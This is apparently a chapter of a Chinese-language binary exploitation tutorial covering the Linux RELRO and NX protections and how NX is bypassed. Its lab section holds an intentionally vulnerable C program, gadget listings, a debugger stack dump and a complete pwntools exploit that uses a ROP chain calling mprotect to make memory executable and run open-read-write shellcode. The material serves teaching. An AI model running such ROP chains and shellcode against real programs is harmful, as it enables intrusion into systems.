%%本节前置:Stack-1 Stack-2%%
本小节我们将从权限管理的角度来介绍Linux用户态的两种保护措施:重定向表只读Relocation Read-Only,简称RELRO;以及栈不可执行No eXecute,简称NX。
🛡️ Defence
❗ RELRO
RELRO,Relocation Read-Only,重定向表只读。这是一种防止攻击者篡改全局函数表的保护措施。在Stack-2-2-4中我们学习了ret2libc的攻击手法,并且了解Linux的延迟绑定机制。而RELRO就是对延迟绑定机制做出的保护。
在启用了延迟绑定时,外部函数符号的解析仅仅发生在函数第一次被调用的时候,该过程通过.plt表完成,解析完成后,相应的.got.plt表,即GOT表的对应条目被修改为正确的函数地址。因此在延迟绑定的情况下,.got.plt必须是可写的。所以攻击者可以通过篡改地址去劫持程序执行流。
RELRO一般有两种形式:
- Partial RELRO:即部分RELRO保护,此情况下程序仍然启用RELRO保护,这样仅仅只能防止全局变量上的缓冲区溢出来修改GOT。此情况下
.dynamic与.got被标记为只读 - Full RELRO:即完全RELRO保护,这个情况下
.got.plt被标记为只读,那么我们的延迟绑定机制就不能在运行时Runtime起效,这样会大大增加程序的启动时间,因为需要在启动时解析所有的外部符号。相当于延迟绑定被禁止了
编译时,用以下选项去开启或关闭RELRO
-z norelro
-z lazy
-z now- norelro:禁用RELRO
- lazy:开启部分RELRO
- now:开启完全RELRO
🚫 NX
NX位(全名“No eXecute bit”,即“禁止执行位”,或“执行禁用位”),是应用在CPU中的一种安全技术。支持NX技术的系统会把内存中的区域分类为只供存储处理器指令集与只供存储数据使用的两种。任何标记了NX位的区块代表仅供存储数据使用而不是存储处理器的指令集,处理器将不会将此处的数据作为代码执行,以此这种技术可防止多数的缓存溢出式攻击(即一些恶意程序把自身的恶意指令集通过特殊手段放在其他程序的存储区并被执行,从而攻击甚至控制整台电脑系统)。
NX,No eXecute,栈不可执行。顾名思义,这个保护开启后我们就不能直接在栈上执行shellcode,也就是说,传统的利用栈溢出向栈上写入shellcode然后返回的利用手法已经不管用了,因为压根就不让你在栈上执行代码。
NX的实现主要出现在两个地方: compiler-assembler-linker(这里表示一个生成 binary的过程: 编译->汇编->链接器)里和kernel里.在compiler-assembler-linker里的实 现基本上的纯粹的软件实现,结果是在elf的一个stack的section里置位不可以执行.但是捕 获违反stack不可执行这个问题是在kernel里。
-z execstack默认开启栈不可执行保护,用以上命令关闭。
🗡️ Bypass
这里介绍对NX的绕过。NX的绕过一般有两种方式。
一种是程序中已有的代码进行复用,就是我们一直在学习的ROP,实际上就是对程序中已有的gadgets的复用,延伸出来还有跳转导向编程,即JOP,数据导向编程,即DOP,以及调用导向编程,COP等;
第二种一般用于一定要使用shellcode的情况,比如开启了比较刁钻的沙箱保护,这个时候大部分要借助第一种手法去构造mprotect修改程序中某个段的权限,篡改出RWX段去执行我们的shellcode。
这里我们重点介绍第二种Bypass。第一种的其余利用我们会在接下来的篇幅中进行介绍。
我们由一个实验来介绍这个攻击手法。
#include <linux/filter.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
char box[0x200];
void init()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
void sandbox(){
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
};
void vuln()
{
char buf[4];
int i;
for(i = 0; i <= 16; i++) {
read(0, &buf[8 * i], 8);
}
}
int main()
{
init();
sandbox();
puts("Input your code:");
read(0, box, 0x200);
vuln();
puts("bye!");
}编译
gcc -fno-stack-protector -no-pie -static Lab-s-3-3-1.c -o Lab我们先了解一下mprotect的相关原型
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);addr:修改保护属性区域的起始位置len:修改内存区域的大小,要求页对齐,最好是0x1000的整数倍prot:修改内存区域的权限
同时在系统调用表上,mprotect的系统调用号为10。
首先由于栈不可执行保护,如果直接写shellcode显然不可行,而mprotect直接修改栈权限是不可行的,所以我们需要在一个可写段上修改其权限,通过劫持read的buf指针向那个段写shellcode,用mprotect修改其权限然后跳转到上面执行。
本实验我们开启了静态编译。首先我们来查下沙箱
❯ seccomp-tools dump ./Lab
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW只禁用了execve,在考虑orw的情况下,我们最想使用shellcode的方式,我们简单分析下程序。
read(0, box, 0x200);这里向bss段读入了0x200的内容,我们可以在这里写入shellcode。但是bss段一开始是没有执行权限的,我们需要mprotect(box, 0x1000, 7)来让bss段为可读可写可执行权限。
在vuln中我们存在栈溢出漏洞。
char buf[4];
int i;
for(i = 0; i <= 16; i++) {
read(0, &buf[8 * i], 8);
}显然在buf存在栈溢出,每次读入8字节,可以一直往下读10次。
由于是静态编译,所以在程序中存在很多可用的gadgets,我们用ROPgadget找一下
❯ ROPgadget --binary Lab | grep 'pop rdi'
0x0000000000403a24 : pop rdi ; pop rbp ; ret
❯ ROPgadget --binary Lab | grep 'pop rsi'
0x0000000000403cd9 : pop rsi ; pop rbp ; ret
❯ ROPgadget --binary Lab | grep 'pop rdx'
0x000000000045b943 : pop rdx ; leave ; ret三个参数都可控,甚至rax也是可控的。这里控制rdx的gadgets比较难用,因为我们需要额外控制一下rbp,否则我们的栈会被迁移走。所以这里既然我们可以控制rax,可以用这些gadgets:
0x0000000000418a9a : xchg rdx, rax ; ret
0x0000000000422503 : pop rax ; ret
0x000000000040c9a6: syscall; ret;这里是否可以直接用ret2syscall打orw呢?显然不可以,因为这里的栈溢出太小了,一个完整的orw syscall rop chain 大概需要0xf8个字节,这里没有那么多空间。
我们可以通过ret2syscall的手法去调用mprotect
读入的栈布局
pwndbg> stack 40
00:0000│ rsp 0x7ffd6ee65140 ◂— 0
01:0008│-008 0x7ffd6ee65148 ◂— 0x1161616161
02:0010│ rbp 0x7ffd6ee65150 —▸ 0x7ffd6ee65160 —▸ 0x4b5000 ◂— 0
03:0018│+008 0x7ffd6ee65158 —▸ 0x403a24 (get_common_cache_info.constprop+324) ◂— pop rdi
04:0020│+010 0x7ffd6ee65160 —▸ 0x4b5a80 (__bss_start) ◂— 0
05:0028│+018 0x7ffd6ee65168 ◂— 0xdeadbeef
06:0030│+020 0x7ffd6ee65170 —▸ 0x403cd9 (intel_check_word.constprop+153) ◂— pop rsi
07:0038│+028 0x7ffd6ee65178 ◂— 0x1000
08:0040│+030 0x7ffd6ee65180 ◂— 0xdeadbeef
09:0048│+038 0x7ffd6ee65188 —▸ 0x422503 (do_tunable_update_val+195) ◂— pop rax
0a:0050│+040 0x7ffd6ee65190 ◂— 7
0b:0058│+048 0x7ffd6ee65198 —▸ 0x418a9a (__memset_avx512_unaligned_erms+218) ◂— xchg rdx, rax
0c:0060│+050 0x7ffd6ee651a0 —▸ 0x422503 (do_tunable_update_val+195) ◂— pop rax
0d:0068│+058 0x7ffd6ee651a8 ◂— 0xa /* '\n' */
0e:0070│+060 0x7ffd6ee651b0 —▸ 0x40c9a6 (__lll_lock_wake_private+22) ◂— syscall
0f:0078│+068 0x7ffd6ee651b8 —▸ 0x4b5ae0 (box) ◂— 0x10101010101b848
10:0080│+070 0x7ffd6ee651c0 ◂— 0xdeadbeef
11:0088│ rsi 0x7ffd6ee651c8 ◂— 0xdeadbeefROP过程如下:
- 返回地址被覆盖为
pop rdi ; pop rbp ; retpop rdi将rdi赋值为bss所在页起始地址pop rbp不重要,随意pop一个ret控制流跳转
- 执行流到
pop rsi ; pop rbp ; retpop rsi将rsi赋值为0x1000pop rbpret
- 执行流跳转到
pop rax ; retpop rax将rax赋值为7,这一步是为了下一步将rax的值与rdx交换,间接控制rdxret
- 执行流跳转到
xchg rdx, rax ; retxchg rdx, rax交换rdx和rax的内容ret
- 执行流跳转到
pop rax ; retpop rax赋值rax,这一步是为了控制系统调用号ret
- 执行流跳转到
syscall ; retsyscall调用mprotect(bss_page_start, 0x1000, 7)ret
- 执行流跳转到
box,执行刚刚布置的orwcode,此时已经具有执行权限。
完整exp如下:
from pwn import *
io = process("./Lab")
context(os = 'linux', arch = 'amd64')
#gadget & address
pop_rdi_rbp = 0x403a24
pop_rsi_rbp = 0x403cd9
pop_rax = 0x422503
xchg_rdx_rax = 0x418a9a
syscall_ret = 0x40c9a6
box_addr = 0x4b5ae0
#orwcode
orwcode = asm(shellcraft.open("./flag", 0))
orwcode += asm(shellcraft.read(3, 'rsp', 0x100))
orwcode += asm(shellcraft.write(1, 'rsp', 0x100))
io.sendafter(b'code:\n', orwcode)
#rop
payload = cyclic(4) + p32(1)
payload += p64(pop_rdi_rbp) + p64(0x4b5000) + p64(0xdeadbeef)
payload += p64(pop_rsi_rbp) + p64(0x1000) + p64(0xdeadbeef)
payload += p64(pop_rax) + p64(7)
payload += p64(xchg_rdx_rax)
payload += p64(pop_rax) + p64(10)
payload += p64(syscall_ret)
payload += p64(box_addr)
payload += p64(0xdeadbeef)
payload += p64(0xdeadbeef)
sleep(0.5)
io.send(payload)
io.interactive()
执行结果如下:
❯ python exp.py
[+] Starting local process './Lab': pid 11636
[*] Switching to interactive mode
flag{you_really_know_how_to_orw!!}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\xfbW\xa5\xfc\x7f\x00\x002/@\x00\x00\x00\x00\x00\xe0\xfbW\xa5\xfc\x7f\x00\x00\xadX@\x00\x00\x00\x00\x00\xbc0@\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00E.@\x00\x00\x00\x00\x00\xf8\xfbW\xa5\xfc\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00V\x18X\xa5\xfc\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\x18X\xa5\xfc\x7f\x00\x00\xac\x18X\xa5\xfc\x7f\x00\x00\xfe\x18X\xa5\xfc\x7f\x00\x00\x16\x19X\xa5\xfc\x7f\x00\x00*\x19X\xa5\xfc\x7f\x00\x00\x82\x19X\xa5\xfc\x7f\x00\x00💬 Summarize
本节我们学习了RELRO和NX的相关内容,并学习了如何用mprotect去改变段权限,从而获得一块RWX的内存用于执行shellcode。下一节,我们将学习如何绕过栈最重要的保护措施:canary。
本节不留作业。
